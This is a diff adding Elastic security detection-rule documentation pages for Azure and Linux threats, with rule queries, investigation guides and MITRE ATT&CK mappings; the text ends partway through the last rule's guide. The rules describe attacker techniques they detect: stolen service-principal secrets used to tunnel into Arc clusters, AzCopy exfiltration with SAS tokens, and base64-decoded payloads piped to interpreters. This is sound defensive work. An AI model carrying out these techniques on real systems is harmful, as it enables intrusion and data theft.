b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-azure-service-principal-sign-in-followed-by-arc-cluster-credential-access.asciidoc @@ -0,0 +1,140 @@ +[[prebuilt-rule-8-19-20-azure-service-principal-sign-in-followed-by-arc-cluster-credential-access]] +=== Azure Service Principal Sign-In Followed by Arc Cluster Credential Access + +Detects when a service principal authenticates to Microsoft Entra ID and then lists credentials for an Azure Arc-connected Kubernetes cluster within a short time window. The `listClusterUserCredential` action retrieves tokens that enable kubectl access through the Arc Cluster Connect proxy. This sequence (service principal sign-in followed by Arc credential retrieval), represents the exact attack chain used by adversaries with stolen service principal secrets to establish a proxy tunnel into Kubernetes clusters. Service principals that authenticate externally (as opposed to managed identities) and immediately access Arc cluster credentials warrant investigation, particularly when the sign-in originates from an unexpected location or ASN. + +*Rule type*: eql + +*Rule indices*: + +* logs-azure.signinlogs-* +* logs-azure.activitylogs-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 15m + +*Searches indices from*: now-30m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://learn.microsoft.com/en-us/azure/azure-arc/kubernetes/cluster-connect +* https://learn.microsoft.com/en-us/cli/azure/connectedk8s#az-connectedk8s-proxy +* https://learn.microsoft.com/en-us/entra/identity/monitoring-health/concept-sign-ins +* https://www.ibm.com/think/x-force/identifying-abusing-azure-arc-for-hybrid-escalation-persistence +* https://www.microsoft.com/en-us/security/blog/2025/08/27/storm-0501s-evolving-techniques-lead-to-cloud-based-ransomware/ + +*Tags*: + +* Domain: Cloud +* Domain: Identity +* Data Source: Azure +* Data Source: Azure Arc +* Data Source: Microsoft Entra ID +* Data Source: Microsoft Entra ID Sign-In Logs +* Use Case: Threat Detection +* Tactic: Credential Access +* Tactic: Initial Access +* Resources: Investigation Guide + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Azure Service Principal Sign-In Followed by Arc Cluster Credential Access* + + +This rule detects the complete attack entry point for Arc-proxied Kubernetes attacks: a service principal authenticates +to Azure AD, then immediately retrieves Arc cluster credentials. This is the prerequisite sequence before any +Kubernetes-level activity can occur through the Arc proxy. + + +*Possible investigation steps* + + +- Identify the service principal using the `app_id` from the sign-in event and resolve it in Azure AD — is this a + known application? +- Check the sign-in source IP and geolocation — does it match expected infrastructure locations for this SP? +- Review when the SP credentials were last rotated — stale credentials are more likely compromised. +- Check the ASN of the sign-in source — is it from a known cloud provider, corporate network, or unexpected consumer ISP? +- Examine Azure Activity Logs after the credential listing for any Arc-proxied operations (secret/configmap CRUD). +- Correlate with Kubernetes audit logs for operations by the Arc proxy service account + (`system:serviceaccount:azure-arc:azure-arc-kube-aad-proxy-sa`) in the same time window. +- Review Azure AD Audit Logs for recent changes to this SP (new credentials, federated identities, owner changes). + + +*Response and remediation* + + +- Immediately rotate the service principal credentials (secrets and certificates). +- Revoke active sessions and tokens for the SP. +- Review and remove any unauthorized Azure role assignments on Arc-connected clusters. +- Check Kubernetes audit logs for any operations performed through the Arc proxy after credential access. +- Rotate any Kubernetes secrets that may have been accessed through the proxy tunnel. +- Enable conditional access policies to restrict service principal authentication by location if supported. + + +==== Rule query + + +[source, js] +---------------------------------- +sequence with maxspan=30m +[authentication where event.dataset == "azure.signinlogs" + and azure.signinlogs.category == "ServicePrincipalSignInLogs" + and azure.signinlogs.properties.status.error_code == 0 +] by azure.signinlogs.properties.app_id +[any where event.dataset == "azure.activitylogs" + and azure.activitylogs.operation_name : "MICROSOFT.KUBERNETES/CONNECTEDCLUSTERS/LISTCLUSTERUSERCREDENTIAL/ACTION" + and event.outcome : ("Success", "success") +] by azure.activitylogs.identity.claims.appid + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Steal Application Access Token +** ID: T1528 +** Reference URL: https://attack.mitre.org/techniques/T1528/ +* Technique: +** Name: Unsecured Credentials +** ID: T1552 +** Reference URL: https://attack.mitre.org/techniques/T1552/ +* Sub-technique: +** Name: Container API +** ID: T1552.007 +** Reference URL: https://attack.mitre.org/techniques/T1552/007/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-azure-storage-blob-retrieval-via-azcopy.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-azure-storage-blob-retrieval-via-azcopy.asciidoc new file mode 100644 index 0000000000..967ce56f55 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-azure-storage-blob-retrieval-via-azcopy.asciidoc @@ -0,0 +1,143 @@ +[[prebuilt-rule-8-19-20-azure-storage-blob-retrieval-via-azcopy]] +=== Azure Storage Blob Retrieval via AzCopy + +Identifies successful GetBlob operations on Azure Storage Accounts using AzCopy user agent with SAS token authentication. AzCopy is a command-line utility for copying data to and from Azure Storage. While legitimate for data migration, adversaries may abuse AzCopy with compromised SAS tokens to exfiltrate data from Azure Storage Accounts. This rule detects the first occurrence of GetBlob operations from a specific storage account using this pattern. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-azure.platformlogs-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.microsoft.com/en-us/security/blog/2025/08/27/storm-0501s-evolving-techniques-lead-to-cloud-based-ransomware/ +* https://learn.microsoft.com/en-us/azure/storage/common/storage-use-azcopy-v10 +* https://learn.microsoft.com/en-us/azure/storage/common/storage-sas-overview + +*Tags*: + +* Domain: Cloud +* Domain: Storage +* Data Source: Azure +* Data Source: Azure Platform Logs +* Data Source: Azure Storage +* Use Case: Threat Detection +* Tactic: Exfiltration +* Resources: Investigation Guide + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Azure Storage Blob Retrieval via AzCopy* + + +Azure Storage Accounts provide cloud storage services for blobs, files, queues, and tables. Shared Access Signatures (SAS) tokens provide delegated access to resources in a storage account with specific permissions and time constraints. AzCopy is a Microsoft command-line utility designed for efficient data transfers to and from Azure Storage. While AzCopy is a legitimate tool, adversaries may abuse it with compromised SAS tokens to exfiltrate data from Azure Storage Accounts. + + +*Possible investigation steps* + +- Review the `azure.platformlogs.properties.accountName` field to identify which storage account is being accessed and assess the sensitivity of data stored in that account. +- Examine the `azure.platformlogs.properties.objectKey` field to identify the specific blob(s) being retrieved. Determine if the accessed files contain sensitive or confidential data. +- Check the `source.address` field to identify the source IP address of the request. Investigate if this IP is unusual, unexpected, or originates from an unexpected network or geographic location. +- Review the `azure.platformlogs.uri` field to examine the SAS token parameters, including: + - `se` (expiry time): Check when the SAS token expires + - `sp` (permissions): Verify what permissions were granted (e.g., "rl" for read and list) + - `sv` (API version): Note the storage service version being used +- Examine the `azure.platformlogs.identity.tokenHash` field to identify the specific SAS token signature being used. Correlate this with SAS token generation logs to determine when and how the token was created. +- Check the `azure.platformlogs.properties.responseBodySize` field to assess the volume of data being downloaded. Multiple GetBlob operations with large response sizes may indicate bulk data exfiltration. +- Search for related GetBlob operations from the same `source.address` or with the same `azure.platformlogs.identity.tokenHash` to identify patterns of systematic data retrieval. +- Review Azure Activity Logs for recent SAS token generation events or storage account key access operations that may indicate how the adversary obtained the credentials. +- Correlate this activity with ListBlobs or ListContainers operations from the same source, as adversaries often enumerate storage contents before exfiltration. +- Investigate the `azure.resource.group` field to understand which resource group the storage account belongs to and check for any recent security events or configuration changes in that resource group. + + +*False positive analysis* + +- Routine data migration or backup operations using AzCopy with SAS tokens are common in enterprise environments. If this is expected behavior for the storage account, consider adding exceptions for specific accounts or IP ranges. +- DevOps pipelines or automated workflows may use AzCopy with SAS tokens for legitimate data transfers. Review the automation configuration and add exceptions if appropriate. +- Third-party services or partners may have authorized access to storage accounts using AzCopy and SAS tokens. Verify these relationships and create exceptions for known authorized sources. + + +*Response and remediation* + +- If unauthorized access is confirmed, immediately revoke the compromised SAS token to prevent further data exfiltration. +- Review and rotate any additional SAS tokens that may have been compromised through the same attack vector. +- Assess the scope of data accessed or exfiltrated during the unauthorized GetBlob operations and determine if sensitive data was compromised. +- Implement additional monitoring and alerting for the affected storage account to detect any further suspicious activity. +- Review and strengthen SAS token generation policies, including implementing shorter expiration times and more restrictive permissions. +- Consider implementing Azure Storage firewall rules or private endpoints to restrict access to storage accounts from trusted networks only. +- Investigate how the SAS token was compromised and remediate the initial access vector to prevent future incidents. +- Document the incident and update security procedures to prevent similar compromises in the future. + + +==== Setup + + + +*Required Azure Storage Diagnostic Logs* + + +To ensure this rule functions correctly, the following diagnostic logs must be enabled for Azure Storage Accounts: +- StorageRead: This log captures all read operations performed on blobs in the storage account, including GetBlob operations. These logs should be streamed to the Event Hub used for the Azure integration configuration. + + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset: azure.platformlogs and + event.action: GetBlob and + azure.platformlogs.identity.type: SAS and + azure.platformlogs.properties.userAgentHeader: AzCopy* and + azure.platformlogs.statusCode: 200 + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Exfiltration +** ID: TA0010 +** Reference URL: https://attack.mitre.org/tactics/TA0010/ +* Technique: +** Name: Exfiltration Over Web Service +** ID: T1567 +** Reference URL: https://attack.mitre.org/techniques/T1567/ +* Sub-technique: +** Name: Exfiltration to Cloud Storage +** ID: T1567.002 +** Reference URL: https://attack.mitre.org/techniques/T1567/002/ +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Data from Cloud Storage +** ID: T1530 +** Reference URL: https://attack.mitre.org/techniques/T1530/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-azure-vnet-full-network-packet-capture-enabled.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-azure-vnet-full-network-packet-capture-enabled.asciidoc new file mode 100644 index 0000000000..2774325dbf --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-azure-vnet-full-network-packet-capture-enabled.asciidoc @@ -0,0 +1,128 @@ +[[prebuilt-rule-8-19-20-azure-vnet-full-network-packet-capture-enabled]] +=== Azure VNet Full Network Packet Capture Enabled + +Identifies potential full network packet capture in Azure. Packet Capture is an Azure Network Watcher feature that can be used to inspect network traffic. This feature can potentially be abused to read sensitive data from unencrypted internal traffic. + +*Rule type*: query + +*Rule indices*: + +* logs-azure.activitylogs-* +* filebeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations + +*Tags*: + +* Domain: Cloud +* Data Source: Azure +* Tactic: Credential Access +* Resources: Investigation Guide + +*Version*: 109 + +*Rule authors*: + +* Austin Songer + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Azure VNet Full Network Packet Capture Enabled* + + +Azure's Packet Capture is a feature of Network Watcher that allows for the inspection of network traffic, useful for diagnosing network issues. However, if misused, it can capture sensitive data from unencrypted traffic, posing a security risk. Adversaries might exploit this to access credentials or other sensitive information. The detection rule identifies suspicious packet capture activities by monitoring specific Azure activity logs for successful operations, helping to flag potential misuse. + + +*Possible investigation steps* + + +- Review the Azure activity logs to identify the specific user or service principal associated with the packet capture operation by examining the `azure.activitylogs.operation_name` and `event.dataset` fields. +- Check the timestamp of the detected packet capture activity to determine the exact time frame of the event and correlate it with any other suspicious activities or changes in the environment. +- Investigate the source and destination IP addresses involved in the packet capture to understand the scope and potential impact, focusing on any unencrypted traffic that might have been captured. +- Verify the legitimacy of the packet capture request by contacting the user or team responsible for the operation to confirm if it was authorized and necessary for troubleshooting or other legitimate purposes. +- Assess the risk of exposed sensitive data by identifying any critical systems or services that were part of the captured network traffic, especially those handling credentials or personal information. + + +*False positive analysis* + + +- Routine network diagnostics by authorized personnel can trigger the rule. To manage this, create exceptions for specific user accounts or IP addresses known to perform regular diagnostics. +- Automated network monitoring tools might initiate packet captures as part of their normal operations. Identify these tools and exclude their activities from triggering alerts. +- Scheduled maintenance activities often involve packet captures for performance analysis. Document these schedules and configure the rule to ignore captures during these periods. +- Development and testing environments may frequently use packet capture for debugging purposes. Exclude these environments by filtering based on resource tags or environment identifiers. +- Legitimate security audits may involve packet capture to assess network security. Coordinate with the audit team to whitelist their activities during the audit period. + + +*Response and remediation* + + +- Immediately isolate the affected network segment to prevent further unauthorized packet capture and potential data exfiltration. +- Revoke any suspicious or unauthorized access to Azure Network Watcher and related resources to prevent further misuse. +- Conduct a thorough review of the captured network traffic logs to identify any sensitive data exposure and assess the potential impact. +- Reset credentials and access tokens for any accounts or services that may have been compromised due to exposed unencrypted traffic. +- Implement network encryption protocols to protect sensitive data in transit and reduce the risk of future packet capture exploitation. +- Escalate the incident to the security operations team for further investigation and to determine if additional security measures are necessary. +- Enhance monitoring and alerting for Azure Network Watcher activities to detect and respond to similar threats more effectively in the future. + +==== Setup + + +The Azure Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset:azure.activitylogs and azure.activitylogs.operation_name: + ( + MICROSOFT.NETWORK/*/STARTPACKETCAPTURE/ACTION or + MICROSOFT.NETWORK/*/VPNCONNECTIONS/STARTPACKETCAPTURE/ACTION or + MICROSOFT.NETWORK/*/PACKETCAPTURES/WRITE + ) and +event.outcome:(Success or success) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Network Sniffing +** ID: T1040 +** Reference URL: https://attack.mitre.org/techniques/T1040/ +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: Network Sniffing +** ID: T1040 +** Reference URL: https://attack.mitre.org/techniques/T1040/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-azure-vnet-network-watcher-deleted.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-azure-vnet-network-watcher-deleted.asciidoc new file mode 100644 index 0000000000..092622e3a9 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-azure-vnet-network-watcher-deleted.asciidoc @@ -0,0 +1,122 @@ +[[prebuilt-rule-8-19-20-azure-vnet-network-watcher-deleted]] +=== Azure VNet Network Watcher Deleted + +Identifies the deletion of a Network Watcher in Azure. Network Watchers are used to monitor, diagnose, view metrics, and enable or disable logs for resources in an Azure virtual network. An adversary may delete a Network Watcher in an attempt to evade defenses. + +*Rule type*: query + +*Rule indices*: + +* logs-azure.activitylogs-* +* filebeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.microsoft.com/en-us/azure/network-watcher/network-watcher-monitoring-overview + +*Tags*: + +* Domain: Cloud +* Data Source: Azure +* Use Case: Network Security Monitoring +* Tactic: Defense Evasion +* Resources: Investigation Guide + +*Version*: 108 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Azure VNet Network Watcher Deleted* + + +Azure Network Watcher is a vital tool for monitoring and diagnosing network issues within Azure environments. It provides insights and logging capabilities crucial for maintaining network security. Adversaries may delete Network Watchers to disable these monitoring functions, thereby evading detection. The detection rule identifies such deletions by monitoring Azure activity logs for specific delete operations, flagging successful attempts as potential security threats. + + +*Possible investigation steps* + + +- Review the Azure activity logs to confirm the deletion event by checking for the operation name "MICROSOFT.NETWORK/NETWORKWATCHERS/DELETE" and ensuring the event outcome is marked as "Success" or "success". +- Identify the user or service principal responsible for the deletion by examining the associated user identity or service principal ID in the activity logs. +- Investigate the timeline of events leading up to the deletion by reviewing related activity logs for any unusual or unauthorized access patterns or changes in permissions. +- Assess the impact of the deletion by determining which resources were being monitored by the deleted Network Watcher and evaluating the potential security implications. +- Check for any other suspicious activities or alerts in the Azure environment that may indicate a broader attack or compromise, focusing on defense evasion tactics. + + +*False positive analysis* + + +- Routine maintenance activities by authorized personnel may trigger the deletion alert. Verify if the deletion aligns with scheduled maintenance and consider excluding these operations from alerts. +- Automated scripts or tools used for infrastructure management might delete Network Watchers as part of their normal operation. Identify these scripts and whitelist their activity to prevent false positives. +- Changes in network architecture or resource reallocation can lead to legitimate deletions. Review change management logs to confirm if the deletion was planned and adjust the detection rule to exclude these scenarios. +- Test environments often undergo frequent changes, including the deletion of Network Watchers. If these environments are known to generate false positives, consider creating exceptions for specific resource groups or subscriptions associated with testing. + + +*Response and remediation* + + +- Immediately isolate the affected Azure resources to prevent further unauthorized actions. This can be done by restricting network access or applying stricter security group rules. +- Review Azure activity logs to identify the user or service principal responsible for the deletion. Verify if the action was authorized and investigate any suspicious accounts. +- Restore the deleted Network Watcher by redeploying it in the affected regions to resume monitoring and logging capabilities. +- Conduct a security review of the affected Azure environment to identify any other potential misconfigurations or unauthorized changes. +- Implement stricter access controls and auditing for Azure resources, ensuring that only authorized personnel have the ability to delete critical monitoring tools like Network Watchers. +- Escalate the incident to the security operations team for further investigation and to determine if additional security measures are necessary. +- Enhance detection capabilities by ensuring that alerts for similar deletion activities are configured to notify the security team immediately. + +==== Setup + + +The Azure Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset:azure.activitylogs and azure.activitylogs.operation_name:"MICROSOFT.NETWORK/NETWORKWATCHERS/DELETE" and event.outcome:(Success or success) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Tools +** ID: T1562.001 +** Reference URL: https://attack.mitre.org/techniques/T1562/001/ +* Sub-technique: +** Name: Disable or Modify Cloud Logs +** ID: T1562.008 +** Reference URL: https://attack.mitre.org/techniques/T1562/008/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-base16-or-base32-encoding-decoding-activity.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-base16-or-base32-encoding-decoding-activity.asciidoc new file mode 100644 index 0000000000..42a403f98b --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-base16-or-base32-encoding-decoding-activity.asciidoc @@ -0,0 +1,190 @@ +[[prebuilt-rule-8-19-20-base16-or-base32-encoding-decoding-activity]] +=== Base16 or Base32 Encoding/Decoding Activity + +Base16 and Base32 are encoding schemes that convert binary data into text, making it easier to transmit and store. This rule monitors for Base16 or Base32 encoding and decoding activity on Linux systems. Attackers may use these encoding schemes to obfuscate malicious payloads, evade detection, and facilitate data exfiltration. + +*Rule type*: eql + +*Rule indices*: + +* auditbeat-* +* endgame-* +* logs-auditd_manager.auditd-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Auditd Manager +* Data Source: Crowdstrike +* Data Source: SentinelOne +* Resources: Investigation Guide + +*Version*: 216 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Base16 or Base32 Encoding/Decoding Activity* + + +Base16 and Base32 are encoding schemes used to convert binary data into text, facilitating data transmission and storage. Adversaries exploit these encodings to obfuscate malicious payloads, evading detection by security systems. The detection rule identifies suspicious encoding/decoding activities on Linux systems by monitoring specific processes and actions, excluding benign uses like help or version checks. + + +*Possible investigation steps* + + +- Review the process name and arguments to confirm if the activity is related to encoding/decoding using base16 or base32, ensuring it is not a benign use case like help or version checks. +- Examine the user account associated with the process to determine if the activity aligns with their typical behavior or if it appears suspicious. +- Check the parent process of the encoding/decoding activity to identify if it was initiated by a legitimate application or a potentially malicious script or program. +- Investigate the timing and frequency of the encoding/decoding events to assess if they coincide with other suspicious activities or known attack patterns. +- Correlate the event with network activity logs to see if there is any data exfiltration attempt or communication with known malicious IP addresses or domains. +- Look into any recent changes or anomalies in the system that might indicate a compromise, such as unauthorized file modifications or new user accounts. + + +*False positive analysis* + + +- Routine administrative tasks may trigger the rule if administrators use base16 or base32 commands for legitimate data encoding or decoding. To manage this, create exceptions for specific user accounts or scripts known to perform these tasks regularly. +- Automated backup or data transfer processes might use base16 or base32 encoding as part of their operations. Identify these processes and exclude them by specifying their unique process arguments or execution paths. +- Development and testing environments often involve encoding and decoding operations for debugging or data manipulation. Exclude these environments by filtering based on hostnames or IP addresses associated with non-production systems. +- Security tools or scripts that perform regular encoding checks for data integrity or compliance purposes can also trigger false positives. Whitelist these tools by their process names or execution contexts to prevent unnecessary alerts. +- Educational or research activities involving encoding techniques may inadvertently match the rule criteria. Consider excluding known educational user groups or specific research project identifiers to reduce false positives. + + +*Response and remediation* + + +- Isolate the affected system from the network to prevent potential lateral movement or data exfiltration by the adversary. +- Terminate any suspicious processes identified by the detection rule, specifically those involving base16 or base32 encoding/decoding without benign arguments. +- Conduct a thorough review of recent system logs and process execution history to identify any additional suspicious activities or related processes. +- Remove any malicious files or payloads that have been identified as part of the encoding/decoding activity. +- Restore any affected files or systems from known good backups to ensure system integrity and data accuracy. +- Update and patch the affected system to close any vulnerabilities that may have been exploited by the adversary. +- Escalate the incident to the security operations center (SOC) or incident response team for further analysis and to determine if additional systems are affected. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from one of the following integrations: +- Elastic Defend +- Auditbeat + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +*Auditbeat Setup* + +Auditbeat is a lightweight shipper that you can install on your servers to audit the activities of users and processes on your systems. For example, you can use Auditbeat to collect and centralize audit events from the Linux Audit Framework. You can also use Auditbeat to detect changes to critical files, like binaries and configuration files, and identify potential security policy violations. + + +*The following steps should be executed in order to add the Auditbeat on a Linux System:* + +- Elastic provides repositories available for APT and YUM-based distributions. Note that we provide binary packages, but no source packages. +- To install the APT and YUM repositories follow the setup instructions in this https://www.elastic.co/guide/en/beats/auditbeat/current/setup-repositories.html[helper guide]. +- To run Auditbeat on Docker follow the setup instructions in the https://www.elastic.co/guide/en/beats/auditbeat/current/running-on-docker.html[helper guide]. +- To run Auditbeat on Kubernetes follow the setup instructions in the https://www.elastic.co/guide/en/beats/auditbeat/current/running-on-kubernetes.html[helper guide]. +- For complete “Setup and Run Auditbeat” information refer to the https://www.elastic.co/guide/en/beats/auditbeat/current/setting-up-and-running.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and +event.action in ("exec", "exec_event", "start", "ProcessRollup2", "executed", "process_started") and +process.name in ("base16", "base32", "base32plain", "base32hex") and +not process.args in ("--help", "--version") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Obfuscated Files or Information +** ID: T1027 +** Reference URL: https://attack.mitre.org/techniques/T1027/ +* Technique: +** Name: Deobfuscate/Decode Files or Information +** ID: T1140 +** Reference URL: https://attack.mitre.org/techniques/T1140/ +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Data Encoding +** ID: T1132 +** Reference URL: https://attack.mitre.org/techniques/T1132/ +* Sub-technique: +** Name: Standard Encoding +** ID: T1132.001 +** Reference URL: https://attack.mitre.org/techniques/T1132/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-base64-decoded-payload-piped-to-interpreter.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-base64-decoded-payload-piped-to-interpreter.asciidoc new file mode 100644 index 0000000000..0ac60350ff --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-base64-decoded-payload-piped-to-interpreter.asciidoc @@ -0,0 +1,208 @@ +[[prebuilt-rule-8-19-20-base64-decoded-payload-piped-to-interpreter]] +=== Base64 Decoded Payload Piped to Interpreter + +This rule detects when a base64 decoded payload is piped to an interpreter on Linux systems. Adversaries may use base64 encoding to obfuscate data and pipe it to an interpreter to execute malicious code. This technique may be used to evade detection by host- or network-based security controls. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* +* logs-crowdstrike.fdr* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Tactic: Execution +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Data Source: Crowdstrike + +*Version*: 7 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + ## Triage and analysis + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Base64 Decoded Payload Piped to Interpreter* + + +Base64 encoding is a method to encode binary data into ASCII text, often used for data obfuscation. Adversaries exploit this by encoding malicious payloads and decoding them on a target system, piping the output to interpreters like bash or python for execution. The detection rule identifies such activities by monitoring for processes that decode Base64 and subsequently execute scripts, indicating potential malicious behavior. + + +*Possible investigation steps* + + +- Review the process command line arguments to identify the specific Base64 decoding activity, focusing on the presence of flags like `-d` or `-a` in conjunction with tools such as `base64`, `openssl`, or scripting languages like `python`, `perl`, or `ruby`. +- Examine the parent process entity ID and command line to understand the context in which the Base64 decoding was initiated, identifying any potentially suspicious parent processes. +- Investigate the subsequent interpreter process that was executed, such as `bash`, `python`, or `ruby`, to determine the nature of the script or command being run, looking for any signs of malicious activity. +- Check the timing and sequence of the processes involved to confirm if the Base64 decoding and interpreter execution occurred within the specified maxspan of 3 seconds, indicating a likely automated or scripted action. +- Analyze the host ID and any associated user accounts to determine if the activity aligns with expected behavior for that system or user, or if it suggests unauthorized access or 